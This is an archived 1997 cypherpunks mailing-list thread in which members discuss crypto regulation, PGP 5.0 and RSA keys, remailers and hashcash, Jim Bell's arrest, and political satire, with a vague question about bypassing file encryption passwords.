OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM61b+o9Co1n+aLhhAQEaswP/VqevtYSH4/dnNtKwP5KGABp+6MgwUZTF
grnEgYUM8j1QGWCjEUX8FqzoJGD6PCFgFQ36uwzE3K/+/sCHbIY9wYeha47bjDok
DSCTWxdztbclBLldQRzIXpbx4varCZ5xTm5inzrNVAypDdrCWIPNvtlgflq+6+aI
UCxr1QB5cJo=
=duot
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Mon, 23 Jun 1997 03:39:48 +0800
To: cypherpunks@toad.com
Subject: Assault on Pornography
Message-ID: <199706221921.MAA15421@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



  Since the U.S. legislature is so concerned about child pornography
and the government is interested in promoting world-wide enforcement
of laws meant to fight evil, I was wondering about the following
scenario:
  Manuel Noriega sends pictures on the internet to Iraq of women with
their ankles showing and their heads uncovered. Iraq sends an armed
force to the U.S. to capture Noriega and take him to Iraq for trial.
  Sure, a few thousand U.S. troops and citizens might die, but it is
for the greater good, right?

Scenario Two:
  Bill Clinton sends a picture on the internet to Iraq of Hillary, with
her ankles showing and her head uncovered...

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 01:29:46 +0800
To: Tim May <tcmay@got.net>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <v03102803afd30c03db18@[207.167.93.63]>
Message-ID: <199706221721.MAA06966@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <v03102803afd30c03db18@[207.167.93.63]>, on 06/22/97 
   at 10:07 AM, Tim May <tcmay@got.net> said:

>At 9:44 AM -0700 6/22/97, Ryan Anderson wrote:

>>
>>You have a better method?  Let's hear it.
>>

>Pick one or both of the below:

>"Something _wonderful_ is about to happen."

Any truth to the rumor that a convoy of Rider trucks were seen Southbound
on I25?


- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM61gEI9Co1n+aLhhAQH2MwP+IiCLNJrTRyehpzwPtDHWCTRnKHPH5BIQ
Qrwcj/xRGuBKxPja4whihwtPYNfvR+arJ3KQOiZ/NgSdDI4otW52TsDy+b2MyUJ0
VHeC4WS2kuGGWQBnlCK7aT/I13YZDdO4dCAVV9Urn8j+LSThkUnCdsKyWQdcOr8V
29P8Ru9X6Qo=
=JiJT
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 01:48:39 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Global Fix is In
Message-ID: <199706221741.MAA07164@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----


In <Pine.LNX.3.91.970622115344.593A-100000@fatmans.demon.co.uk>, on
06/22/97 
   at 11:58 AM, Paul Bradley <paul@fatmans.demon.co.uk> said:

>I think that finally the poloticians in D.C, London, Berlin and all the 
>other major capitals have caught on, and realised that open availability 
>of anonymity, security and strong crypto can only lead to crypto anarchy,
> they are *scared*, this time they are no longer do-gooding idiots, they 
>are out to cover their own backs...

There have only been 2 intrests of the politition:

CYA -- Cover Your Ass
LYP -- Line Your Pockets

There is also the desire to get re-elected but that directly relates to
the two above.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM61ko49Co1n+aLhhAQGylQQAvLLnNgbu5SamAMMimF0BYina9gNdXkf6
r52wIpTncCHVeFS8khA73IcIwCOyMi7ktFuVOJKUWT/cNdFoMYEp2bDbai/KzVcx
O/2ueFTiqEQNk2WR4caTABJtPxASRxPa7X8M8u9gdaBUwHOCTj+yRcDxAhxaAc3+
Ma29OH+tgxk=
=kCas
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Mon, 23 Jun 1997 00:51:45 +0800
To: Steven L Baur <steve@miranova.com>
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <m2en9uncbo.fsf@altair.xemacs.org>
Message-ID: <Pine.GSO.3.95.970622123321.23284B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On 22 Jun 1997, Steven L Baur wrote:

> > You've completely missed my point.  This would be an on-going problem.
> > Congress can only function with some idea of compromise in it.
> 
> Then Congress should be eliminated.  There is no excuse for the CDA
> rider and my (now ex-)representative who voted for that bill was
> voted into office on a campaign of ending politics-as-usual sorts of
> things like that.

Look at it this way:  If you want some bill passed (some spending bill or
such) it has to get out of the Senate.  the senate can easily pull a
filibuster with a minority of the Senate, and shutdown the government
entirely.  If you really eliminate a sense of compromise on issues, you're
hamstringing the government.  It's really one of the fundamental things
that is required to make a constitutional republic such as we have work.  

Remember, the founding fathers went way way way out of their way to make
sure that this was not simply a majority rules country.  Rather, the best
description I've heard of it is a "majority rules with minority rights"
(filibuster, etc..)

> Right now I have two senators: Dianne "No problem giving government
> contract money illegally to my husband" Swinestein and Barbara "No
> money in my checking account? I guess I'll just have to write another
> one" Boxer and congressional representative Walter "I cannot think of
> any government program which should be eliminated" Capps.
> The American government is broken.

You have a better method?  Let's hear it.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alan Olsen <alan@ctrl-alt-del.com>
Date: Mon, 23 Jun 1997 04:06:10 +0800
To: cypherpunks@Algebra.COM
Subject: Dirty hands kill more people (80K/yr) than guns (FWD)
Message-ID: <3.0.2.32.19970622125957.03d22100@mail.teleport.com>
MIME-Version: 1.0
Content-Type: text/plain



This needed to be shared...

Expect government hand escrow any day now.

From: aib@col.hp.com (Allan Best)
Newsgroups:
alt.politics.clinton,alt.politics.democrats.d,alt.politics.usa.republican,al
t.rush-limbaugh,alt.fan.rush-limbaugh,alt.politics.libertarian,talk.politics
.libertarian,talk.politics.misc,talk.politics.guns,alt.law-enforcement
Subject: Re: Dirty hands kill more people (80K/yr) than guns
Date: 17 Jun 1997 20:18:00 GMT
Organization: HP Colorado Springs Division

ec Roberts (armed_and_safe@technologist.com) wrote:
: On Mon, 16 Jun 1997 14:00:03 +0900, Jason Gottlieb
: <zj5j-gttl@asahi-net.or.jp> wrote:

: {snip}
: >The #1 murder weapon is a hand with a handgun in it.
: >
: The #1 murder weapon is a hand. This is so,
: regardless of the tool in that hand.
: Bob

The obvious solution is to register all hands. Hands must be kept away from
children. To protect children, a hand shall not be transported to within 1000 
yards of any school, playground or daycare facility. All concealed carry
hands 
must be registered. Concealed carry is banned in all government facilities, 
especially US Post Offices, and all public buildings including, but not
limited 
to airports, bus stations, train depots and taxi stands.

Furthermore, there shall be a 15-day waiting period and a background check 
before the purchase of any legal hand can be completed. Anyone caught with an
unregistered hand shall have that hand immediately confiscated and be liable
to a fine and/or imprisonment. 

The ownership of fully-automatic hands, assault hands, ugly hands, or
cop-killer
gloves is expressly forbidden.



: >
: >-- 
: >Jason Gottlieb
: >Homepage goodies: Japanese SDF info, USA
: > gun control info, travellogues, and more!
: >http://www.asahi-net.or.jp/~zj5j-gttl

: **** Armed and Safe(tm) ****
: **** www.ivic.net/~ecr  ****

---
|              "That'll make it hot for them!" - Guy Grand               |
|"The moral PGP Diffie taught Zimmermann unites all| Disclaimer:         |
| mankind free in one-key-steganography-privacy!"  | Ignore the man      |
|`finger -l alano@teleport.com` for PGP 2.6.2 key  | behind the keyboard.|
|         http://www.ctrl-alt-del.com/~alan/       |alan@ctrl-alt-del.com|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 23 Jun 1997 05:28:41 +0800
To: Alan Olsen <alan@ctrl-alt-del.com>
Subject: Re: Dirty hands kill more people (80K/yr) than guns (FWD)
In-Reply-To: <3.0.2.32.19970622125957.03d22100@mail.teleport.com>
Message-ID: <3.0.2.32.19970622141408.0075c400@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 12:59 PM 6/22/97 -0700, Alan Olsen wrote:
>Expect government hand escrow any day now.

You're rather behind the times - we already have hand registration
in many places.  In particular, California wants your thumbprint,
assuming you want to drive.  (A couple decades ago, my father-in-law
annoyed the Hawaii driver's license bureaucrats by insisting they
follow the law.  The law required either an SSN or a thumbprint,
but the clerks in fact wanted the SSN because it's much less work,
and (not that they cared personally) more useful for databases.
He gave them the thumbprint.  This was before the states were allowed
to make it mandatory to provide SSNs; CA wants both now, of course.)

Also, there's an obvious extension to gun registration,
which is the requirement to provide several bullets shot
with each of your guns, so they can do ballistics checks later.
Obviously it won't stop unregistered gun trading,
and isn't much use for shotguns, but it's a start.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 23 Jun 1997 05:27:41 +0800
To: Tim May <tcmay@got.net>
Subject: Re: cypherpunks coding challenge
In-Reply-To: <199706220938.KAA06436@server.test.net>
Message-ID: <3.0.2.32.19970622141801.0076582c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>>Perhaps a list of how many lines of code.  A hall of fame if you like:
>>% wc -l `find . -name \*.h -print -o -name \*.c -print`
>>Eric Young		SSL-eay		101,721 lines
>>PGP Inc			pgp30		    (?) lines
>>Phil Zimmermann & co	pgp263		 34,891 lines

>Not to be tedious about this, but why would "lines of code" be an
>interesting metric?

Yeah - I was thinking of the following entries:
  Adam Back             RSAperl		4 lines
  Adam Back et al.	RSAperl		2 lines

I don't think anybody's made a T-Shirt with SSLeay on it yet :-)

(Though actually SSLeay has been very useful to a lot of the
world's free cryptography, and has prompted the US spooks 
to pressure the Australian spooks into restricting crypto exports,
just as they've pressured the NZs into restricting them for
Peter Gutman, and have been trying to work on the Irish...)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Mon, 23 Jun 1997 05:34:56 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: why no more RSA keys? (was Re: how to `go underground')
In-Reply-To: <199706221457.JAA05804@mailhub.amaranth.com>
Message-ID: <3.0.2.32.19970622142746.0076582c@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 05:42 PM 6/22/97 +0100, Adam Back wrote:
>I was really quite unclear as to why the freeware one should have
>reduced functionality, and as we are finally going to get source code,
>I figured it'd be easy to rememdy this deficiency.
>
>Still, I am curious as to why this might be.
>
>One guesses it might have something to do with PGP's financial
>interest to move the internet user base away from RSA keys towards El
>Gamal/DSS key pairs, so that they can remove RSA backwards
>compatibility from the commercial versions, if it comes to that.
>(Re. patent and licesning hassles from the litigious legal-beagles at
>RSA).  Perhaps.

Getting out from under the patent restrictions is a big win,
purely aside from the details of any hassles with RSA Inc.
Also, because MD5 is looking shaky these days, they do need to
move people toward versions with SHA1 signatures.
Since the commercial versions do EG/DSS, and people will be
sending messages signed with DSS, and wanting to receive
mail encrypted with EG, it's worthwhile for them
to push people to migrate to the new formats;
the freeware version is an obvious lever, even though I'm sure
there will be fixes to add RSA key generation back in Real Soon.
(Also, you don't _need_ a fix - just keep the old PGP around,
and use it when you want to generate a key.)



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Russell Nelson <nelson@crynwr.com>
Date: Sun, 22 Jun 1997 22:45:17 +0800
To: cypherpunks@toad.com
Subject: A Brief History of Cryptography
Message-ID: <19970622142825.26126.qmail@desk.crynwr.com>
MIME-Version: 1.0
Content-Type: text/plain



[ I'm not on the list.  Replies cc'ed to me.  Public domain ]

Once upon a time, the average citizen did not have access to locks.
The U.S. Government had locks, and agencies to control them: the FBL,
the CLA, and the NLA.  They even knew that other governments had
locks, but they also knew that those governments denied locks to their
citizens, so the whole lock business was cartelized.

However, the need for locks could not be denied, so the NLA was
chartered to create locks for U.S. citizens.  It created a lock, but
didn't explain how the lock worked.  Some people showed that the lock
might be pickable by the NLA, although they couldn't pick it
themselves.  Some people thought that the extra wards in the lock were
there to give the NLA a master key.  But none of it could be proved,
so people used the standard lock.

As the society got wealthier, people had more things they needed to
lock up.  This created more incentive for lock creation, and citizens
started to invent them.  Some locks were sham locks and could be
picked with a hairpin, or a skeleton key.  Other locks were
understandably difficult to pick, and came to be preferred to the
NLA-approved standard lock.

The NLA (and FBL and CLA) feared these locks that they hadn't devised
and probably couldn't pick.  So they proposed a scheme whereby they
would create a new standard lock, which had an explicit master key.
Naturally, this was viewed as a step backwards by people used to the
standard lock, which they believed couldn't be opened by anyone but
the key-holder.  This lock design was opposed by nearly everyone.

So they proposed a new lock standard, whereby everyone had to have a
copy of their key registered with the NLA.  This also was perceived as
unworkable for the same reason as the master key system.

In the meantime, of course, people were using these new
citizen-created locks, which were widely thought to be strong.  They
expected no less of the NLA lock design, particularly since the NLA
standard lock has been proven to be pickable.

How will this story end?  No one knows yet.  Will the NLA seek to ban
strong locks?  Or will the NLA lose all its control over citizen
locking?  Time will tell....

-- 
-russ <nelson@crynwr.com>    http://www.crynwr.com/~nelson
Crynwr Software sells network driver support    | PGPok | good luck, have fun!
521 Pleasant Valley Rd. | +1 315 268 1925 voice | taxes feed the naked
Potsdam, NY 13676-3213  | +1 315 268 9201 FAX   | and clothe the hungry.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 23 Jun 1997 04:16:58 +0800
To: cypherpunks@toad.com
Subject: Canarypunk: Jim Bell in a coalmine
In-Reply-To: <Pine.GSO.3.95.970622123321.23284B-100000@ece>
Message-ID: <v03020926afd30f8f70cc@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:07 pm -0400 on 6/22/97, Tim May wrote on cypherpunks:

> "Something _wonderful_ is about to happen."
>
> "I have a solution."
>
>
> --Tim "Channeling Bell" May

Speaking of the dead, or at least the departed...

Has anybody local to Jim Bell's stir gone to visit our incarcerated, um,
gaming enthusiast, lately, just to see if he needs anything? Oh. Besides
*that* of course. :-).

Is Bell *taking* visitors yet? Would anyone in Oregon *want* to go visit
Bell, reprehensible opinions and all, if he was accepting visitors?


The reason I ask is, given events of the past few days, it may be time to
start standing up for our friends, no matter how unsavory their ideas.
Slippery slopes, and all that. I'm beginning to think of this as the
net.equivalent of neighborhood "policing", if you will, where the slightest
infraction against freedom by the federal law "enforcement" "community" is
met with the most determined (legal!) resistance possible. Maybe something
like Helsinki Watch, or, god forbid, Amnesty International.

Arresting Jim Bell and holding him with what seems to be an unreasonable
bail (that is, he can't afford to pay it) by a small army of nomex-hooded
kluxer-equivalents is the police-state version of drinking on a
streetcorner. "Patting down" the officials responsible, legally and
politically, might yield the functional equivalent of a concealed weapons
violation. That, in turn, would tell people who are wont to surround
people's houses with black nomex ninja-wannabes to think twice about
ordering such shenanigans in the future.

Tim was talking earlier here about how this kind of accountability should
have been held, more stringently, for the people who burned children in
Waco, and who shot them at Ruby Ridge. Maybe it's time to hold people who
commit capital crimes on the state's behalf to understand that the legal
sword cuts both ways. If so, I think the best way to start this is to do it
in manageable increments, and ratchet up the pressure from there. To have
zero tolerence for even the smallest offenses, starting with the jailing of
Mr. Bell.

That's because Bell is, however rediculous the offense or his behavior the
first cypherpunk political prisoner. He's ours, folks, like it or not. It's
time we faced it, and dealt with the problem accordingly.


To my mind, turnabout is in fact fair play. If you start busting the
constitutional public drinkers, like the interagency Boy's State delegation
who hauled Jim off, maybe the rest of the erst-fascists out there in
Uncle's employ will keep their nomex pyjamas in the closet, only taking
their costumes out for the occasional midnight constitution-burning
ceremony, instead of coming next for someone with more substantial freedoms
to defend.

And, frankly, if rejectionism is called for, now or later, we will know
that much sooner based on how well efforts like springing our canary in
that Oregon coal mine fares...

Admittedly, this is a distraction from the most important thing, which is
writing code, but I bet that there are in fact cypherpunks-who-don't-code
in Bell's neighborhood, and not necessarily even Friends of Jim, who would
be happy to personally go see how Bell is doing and come back and tell us
what happened. Think of it as part of the feedback loop for net.freedom. A
trip into the coal mine with a canary cage.

Yeah, I know. It's me making work for someone else. Nonetheless: Anyone out
there want to do this?

Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Mon, 23 Jun 1997 04:03:46 +0800
To: cypherpunks@toad.com
Subject: Re: Assault on Pornography
In-Reply-To: <199706221921.MAA15421@fat.doobie.com>
Message-ID: <199706221953.OAA08333@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <199706221921.MAA15421@fat.doobie.com>, on 06/22/97 
   at 12:21 PM, nobody@huge.cajones.com (Huge Cajones Remailer) said:

>Scenario Two:
>  Bill Clinton sends a picture on the internet to Iraq of Hillary, with
>her ankles showing and her head uncovered...

I believe that he could be extradited under international treaties against
torture. :) -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM62Dm49Co1n+aLhhAQH49QQAi1M4KgbUecMvd1+mkW3R1xddC/tmGGPy
+Jt0aHJneFXz+0JBSVZvSXafGaSplBtnwTYX45as91QWeZ0Jt7uO36kxYuBAKnUs
RdWl//8chY094zWRDAaZDJ1hRjHQkoydBi54InBoHbtKm5OmfBrEn1u0sGRRVnU3
a4verOz7ROM=
=j3JG
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wasim Q. Malik" <wmalik@sdnpk.undp.org>
Date: Sun, 22 Jun 1997 20:58:25 +0800
To: The XTASY Mailing List <cypherpunks@toad.com
Subject: Decrypting DES
Message-ID: <Pine.LNX.3.95.970622144439.10853D-100000@sdnpk.undp.org>
MIME-Version: 1.0
Content-Type: text/plain




Folks, here is a project I am working on. Need your help with it as it is
really important.

You know we often encrypt files using a key (the DES way -- won't talk
about RSA here). Examples are the UN*X "crypt", the MS-Office "Save with
password" option, and lots of other ciphers using this alorithm. Take a
text file, for instance. You provide a key and the file is encrypted using
that key, and can be decrypted only if that key is known. It involved only
one key/password.

Now I was wondering whether we could somehow fool this encryption system
to get to the encrypted material without using the key. It could possibly
be done in many ways:


*	The key has to be stored somewhere in the file, in whatever form,
with which the entered key is compared. It could somehow be gotten hold
of from there. Perhaps a hex editor could be used to scan the first few
bytes of a file for the key.

*	The decryption algorithm/source could be modified to give access
even for a bad password.

*	During the process that the decryptor asks for the input of the
key, we could somehow break out of the routine and bypass it to get to the
contents of the file.


Do you have any ideas about how this could be done? Or is it even possible
theoretically? Any other workarounds you can think of?



Au revoir,
Wasim Q. Malik






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Mon, 23 Jun 1997 04:15:56 +0800
To: cypherpunks@Algebra.COM
Subject: Hettinga's e$yllogism
In-Reply-To: <3.0.32.19691231160000.006c4dd0@best.com>
Message-ID: <v03020929afd325266f9d@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 1:34 pm -0400 on 6/22/97, geeman@best.com wrote:


> What's necessary here is a knowledgeable application of the same
> techniques, a coalition
> organization comprised of large business interests with an awareness of how
> Bad this all is,
> competing on the same turf.
>
> Noble anarchist or Constitutional arguments, whining about our Rights and
> such, are
> insignificant and irrelevant to the players.
>
> Who will belly up to the bar and provide leadership on terms that will
> truly be effective?


You rang? (He said, feeling particularly ambitious on a rainy June afternoon)

You don't need an organization, a simple angry swarm of the right players
is just fine, preferrably large commercial ones.

You just need to tell them that S909 will kill the commercial internet, and
all the billions that have been invested in it.


The big stick to smack the hive with, the argument to present to those
people who have the most to lose, is the following, if I may quote myself
from several places this week :-):

>  Said syllogistically,
>
>  Digital Commerce *is* Financial Cryptography,
>  Financial Cryptography *is* Strong Cryptography,
>  therefore,
>  Digital Commerce *is* Strong Cryptography.
>  and, therefore,
>  No Strong Cryptography, no Digital Commerce.
>
>
>  Instructions for the use of this syllogism:
>
>    Invite 'em to a presentation.
>
>    Use one proposition per slide, with nothing on the slide but the
>    proposition, centered vertically and horizontally. Don't make handouts.
>
>    Put up the first slide, and defend the proposition.
>    Repeat until last slide.
>
>    Ask for questions.

I will deliver the above talk to anyone who pays my travel expenses and can
get butts in the seats to hear it. The "right" butts or no, you never know
who knows somebody else.

You buy, I fly. If anyone *else* wants to make the above presentation, and
save the air and hotel bill, feel free. Practically *anyone* on this list
knows how to more than adequately defend each of those propositions against
all comers, foreign and domestic. :-).


Now, then. When do we get started?

Cheers,
Bob Hettinga


-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 23 Jun 1997 03:40:11 +0800
To: cypherpunks@toad.com
Subject: McCain's War for Security
Message-ID: <1.5.4.32.19970622192626.006d1514@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



The New York Times Magazine had a feature story on 
Senator McCain a week or two ago which covered in
detail his personal, military and political history and his
heroic struggle to meet the high standards set by his 
admiral father, the Navy and individual ethics. 

His long imprisonment by the North Vietnamese due to 
a refusal to be released as the well-known son of a 
prominent admiral was cited as an example of his 
duty to to put national interests above his own.

This iconic treatment of a national hero is worth pondering
for the way it reveals what Tim calls "the fix is in."

The imposition of protective measures often occurs through
those with impeccable credentials, especially by appealing to 
the ones who believe that their special role is to rise above ordinary 
struggles and dispense exceptional wisdom, fairness and
justice.

The question on McCain is: has he been sold on the threat to 
national security of cryptography by appealing to his deep 
patriotism, his belief in a special duty to protect the nation, to 
fight its "war" with the day's enemies.

Such feeding of grandiloquence is historical practice of the
Richlieus running the government, raiding the till, commanding 
the academies, distributing authorizations to placate antsy 
kings-in-queue.

The cariacature of this are "banana republics" where
military and political saviors justify coups in the name
of the "public interest," or "the people," fairly well in accord
with threats to authority.

Military, naval and governmental academies worldwide teach this
belief in the special duty of public servants, notwithstanding the
evidence that some graduates reap the not-so-public rewards.

As amply displayed in S.936, the National Defense Authorization
Act for FY 1998, the perennial US banana republic raid on
the till. 

Read it to see who McCain thinks are the nation's enemies and 
protectors and who are the supreme judges of both.

What's not as well publicized about leadership academies of all
kinds is that they also teach (and practice) the Machiavellian wisdom 
of most stringent laws and harshest enforcement for challenges to 
the authority to govern, to tax, to command, to rule. To assure 
"national security" for those who thrive on it.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: iang@cs.berkeley.edu (Ian Goldberg)
Date: Mon, 23 Jun 1997 00:06:51 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Party on IRC
In-Reply-To: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>
Message-ID: <5oji4p$n0q@abraham.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



In article <Pine.BSI.3.95.970622053011.19903A-100000@alpha>,
John A. Perry <perry@alpha.jpunix.com> wrote:
>I believe it uses the crypt(3) function for encryption.

It can't use crypt(3), as that's more of a hash function than a cipher,
and one would hope it doesn't use crypt(1) (though I wouldn't be very
surprised).

   - Ian





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Mon, 23 Jun 1997 07:43:08 +0800
To: cypherpunks@cyberpass.net
Subject: CP uses for the PGP 5.0 source
Message-ID: <v03102800afd3687f206a@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



With the on-line availability of PGP 5.0 source code expected any day,
perhaps the group should consider what CP goals can now be made practical.
Hopefully, PGP will not object to CP uses.  I submit the following as CP
projects which could be substantially eased by the source code:

EMAIL PLUG-INS
PGP 5.0 contains some very good code examples for creating email plug-ins
for Microsoft Exchange for Windows 95 and Windows NT 4.0, Microsoft Outlook
for Windows 95 and Windows NT 4.0, Eudora Pro/Light for Windows 95, Windows
NT 4.0, Macintosh, Claris Emailer for Mac only.  For cross-platform ease, I
suggest we tackle the Eudora emailers, which have a well defined API, first.

1. Remailer:  One reason remailers haven't been as popular as we've hoped
is the need to operate separate, sometime difficult to use, remailer client
software.  By integrating these and other functions into plug-ins, creation
of persistant identities and integration with key generation and management
can be simplified.

2. Digital postage: CPs can gain the high-ground in the battle for handling
the SPAM problem by offering plug-ins which enforce restrictions on
incoming mail using digital postage.  Two postage approaches have been
discussed on the CP lists: ecash and hashcash.  I suggest that the plug-ins
offer both d-postage forms.

Hashcash is eligent in its simplicity and its lack of a required central
clearing facility. Hascash-based d-postage could also seed the development
of commercial distributed computing Net industry, as SPAMers elect to
purchase hashcash rather than generating it themselves-the idea isn't to
eliminate SPAM, just place it on similar economic footing with junk
snailmail. Adam Back has already done a considerable amount of
investigation of ways to implement hascash (See
http://www.dcs.ex.ac.uk/~aba/hashcash/).

ECash could really supply an economic shot in the arm for remailers, making
possible commercial (read profitable) remailers.  It will also offer a
ready-made market for accountless ecash, which will be available soon.
Jeremey Barrett's higher level ecash API should greatly simplify ecash
integration.

--Steve


PGP mail preferred
Fingerprint: FE 90 1A 95 9D EA 8D 61  81 2E CC A9 A4 4A FB A9
---------------------------------------------------------------------
Steve Schear              | tel: (702) 658-2654
CEO                       | fax: (702) 658-2673
First ECache Corporation  |
7075 West Gowan Road      |
Suite 2148                |
Las Vegas, NV 89129       | Internet: azur@netcom.com
---------------------------------------------------------------------

        I know not what instruments others may use,
        but as for me, give me Ecache or give me debt.

        SHOW ME THE DIGITS!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Mon, 23 Jun 1997 08:11:49 +0800
To: Steve Schear <cypherpunks@cyberpass.net
Subject: Re: CP uses for the PGP 5.0 source
In-Reply-To: <v03102800afd3687f206a@[10.0.2.15]>
Message-ID: <3.0.2.32.19970622170551.0076d690@netcom9.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 04:41 PM 6/22/97 -0700, Steve Schear wrote:
>1. Remailer:  One reason remailers haven't been as popular as we've hoped
>is the need to operate separate, sometime difficult to use, remailer client
>software.  By integrating these and other functions into plug-ins, creation
>of persistant identities and integration with key generation and management
>can be simplified.

Type I remailers were a nice proof of concept. Nothing more. What you want
is a Mixmaster client similar to PGP 5.0. I doubt the PGP source will be of
much help for this task.

>2. Digital postage: 

Has nothing to do with PGP. A different problem entirely.

[...]
>ECash could really supply an economic shot in the arm for remailers, making
>possible commercial (read profitable) remailers.  It will also offer a
>ready-made market for accountless ecash, which will be available soon.
>Jeremey Barrett's higher level ecash API should greatly simplify ecash
>integration.

